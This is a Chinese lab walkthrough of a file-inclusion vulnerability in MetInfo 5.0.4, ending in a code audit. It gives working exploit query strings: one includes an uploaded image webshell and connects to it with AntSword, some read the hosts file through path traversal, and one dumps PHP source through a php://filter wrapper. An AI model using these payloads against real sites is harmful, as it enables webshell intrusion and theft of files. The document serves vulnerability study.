文章目录
- 安装环境
- 启动环境
- 漏洞花式利用
- 蚁剑连接图片马
- 读取敏感文件(hosts)
- 读取该网站的php源码
- 代码审计
安装环境
安装phpstudy,下载MetInfo 5.0.4版本软件,复制到phpstudy目录下的www目录中。
打开phpstudy,访问浏览器127.0.0.1/MetInfo5.0.4/install/index.php,打开Meinfo 5.0.4主页,点击下一步、下一步,到数据库设置中配置数据库信息,数据库名设为met1,密码设为root:
填写管理员设置,设置用户名,密码设为root,手机号码和电子邮箱随便填写:
点击保存设置后显示安装完成:
启动环境
安装成功后打开网页:
漏洞花式利用
漏洞原理
在MetInfo软件的127.0.0.1/MetInfo5.0/about/index.php 页面存在文件包含漏洞,在这里上传文件可以利用这个漏洞
蚁剑连接图片马
访问漏洞点127.0.0.1/MetInfo5.0/about/index.php页面,用fmodule和module参数上传图片马:
?fmodule=7&module=../upload/file/muma.gif
上传成功后用hackbar尝试输入打开,发现一堆乱码,但是打开成功:
打开蚁剑,输入上面的地址,测试连接成功,连接成功获取webshell:
读取敏感文件(hosts)
用相对路径读取hosts文件:
?fmodule=7&module=../../../../../../windows/system32/drivers/etc/hosts
如图,读取成功:
用绝对路径读取hosts文件:
?fmodule=7&module=c:/windows/system32/drivers/etc/hosts
读取成功:
读取该网站的php源码
?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php
得到base64的源码密文:
利用工具进行解码,得到网站的源码:
代码审计
查看C:\phpStudy\WWW\MetInfo5.0.4\include目录下的module.php文件,从第119行看找到下面代码:
if($fmodule!=7){
if($mdle==100)$mdle=3;
if($mdle==101)$mdle=5;
$module = $modulefname[$mdle][$mdtp];
if($module==NULL){okinfo('../404.html');exit();}
if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){
if($fmodule==$mdle){
$module = $modulefname[$mdle][$mdtp];
}
else{
okinfo('../404.html');exit();
}
}
else{
if($list){
okinfo('../404.html');exit();
}
else{
$module = $modulefname[$mdle][$mdtp];
}
}
if($mdle==8){
if(!$id)$id=$class1;
$module = '../feedback/index.php';
}
}
这段代码的if语句中如果fmodule不等于7,就会给module做初始化,等于7不会做初始化。
而在C:\phpStudy\WWW\MetInfo5.0.4\about下的index.php文件中
有下面代码:
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>
module是前面没有赋值的参数,require_once做module的文件包含,如果fmodule=7而module没有赋值,页面的回显就会空白。